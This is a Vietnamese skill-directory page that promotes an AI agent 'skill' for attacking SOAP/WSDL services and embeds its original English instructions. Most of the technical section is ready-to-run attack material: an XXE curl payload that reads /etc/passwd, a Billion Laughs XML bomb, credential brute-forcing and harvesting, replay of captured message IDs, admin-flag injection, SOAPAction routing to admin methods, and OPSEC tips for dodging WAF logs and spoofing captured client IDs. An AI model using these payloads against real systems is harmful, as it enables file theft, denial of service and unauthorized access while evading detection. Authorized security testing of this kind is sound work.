Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14026

api-soap-wsdl

Skill này làm gì

Hướng dẫn này bao quát kiểm tra bảo mật cho dịch vụ SOAP, loại mà nhiều hệ thống kinh doanh cũ vẫn dùng. Hướng dẫn dành cho người kiểm thử bảo mật rà soát các tích hợp thanh toán, ERP và chính phủ.

Khi nào nên dùng

  • ✓Khi một rà soát được ủy quyền tìm thấy một dịch vụ SOAP được mô tả bằng tệp WSDL.
  • ✓Khi bạn muốn kiểm tra cách dịch vụ SOAP phân tích đầu vào XML.
  • ✓Khi một dịch vụ SOAP gửi thông tin đăng nhập và bạn cần kiểm tra chúng có được bảo vệ không.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi vẫn chạy một tích hợp thanh toán dựa trên SOAP. Bạn có thể kiểm tra mô tả công khai và cách xử lý XML của nó để tìm điểm yếu không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent đọc WSDL để xem có những thao tác nào, rồi kiểm tra cài đặt phân tích XML và cách gửi thông tin đăng nhập.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

SOAP / WSDL Attack Surface

Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems.

Discovery

# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -

# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl

Quick attack catalog

XXE in SOAP envelope

curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
  -d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx

WS-Security UsernameToken brute / clear-text leak

The <wsse:UsernameToken> often carries <wsse:Password> in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:

# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class

WS-Addressing replay

SOAP responses often include <wsa:RelatesTo> referencing the request <wsa:MessageID>. Some servers don't validate freshness:

<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>

SAML in WS-Trust / SAML EncryptedAssertion

WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns.

Schema validation bypass

Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:

<soap:Body>
  <tns:Method>
    <tns:adminFlag>true</tns:adminFlag>   <!-- not in XSD, often honored -->
    <tns:arg>value</tns:arg>
  </tns:Method>
</soap:Body>

XML Bomb / Billion Laughs DoS

<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]>
<x>&c;&c;&c;</x>

SOAPAction routing confusion

.NET ASMX picks the method by SOAPAction header, not body. Mismatch → call methods you shouldn't be able to:

curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \
  -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \
  https://target/Service.asmx

Tooling

# SoapUI free / Postman SOAP — interactive probing
soapui --gui  # or non-GUI: testrunner.sh

# Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping

# python zeep — programmatic SOAP client (good for automation)
python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"

OPSEC

  • WS-Addressing <wsa:MessageID> is logged in many WAFs — randomize per-request.
  • WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests.
  • SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts.

References

  • WS-Attacks.org — XSW, XXE, WS-Security variants catalog
  • OWASP "Testing for Web Services" — chapter on SOAP/WSDL
  • "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable)
  • Burp extension: SAML Raider
Câu hỏi thường gặp

WSDL là gì?

Đó là tệp mô tả các thao tác và định dạng dữ liệu mà dịch vụ SOAP cung cấp.

Vấn đề XML external entity là gì?

Đó là điểm yếu khi trình phân tích XML đọc dữ liệu bên ngoài, và hướng dẫn liệt kê đây là rủi ro SOAP phổ biến.

Vì sao phải kiểm tra cách gửi thông tin đăng nhập?

Hướng dẫn lưu ý rằng thông tin đăng nhập dạng văn bản rõ (clear-text) là rủi ro khi lưu lượng không được mã hóa.

Chi tiết

Mô tả gốc của tác giả

SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14026
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự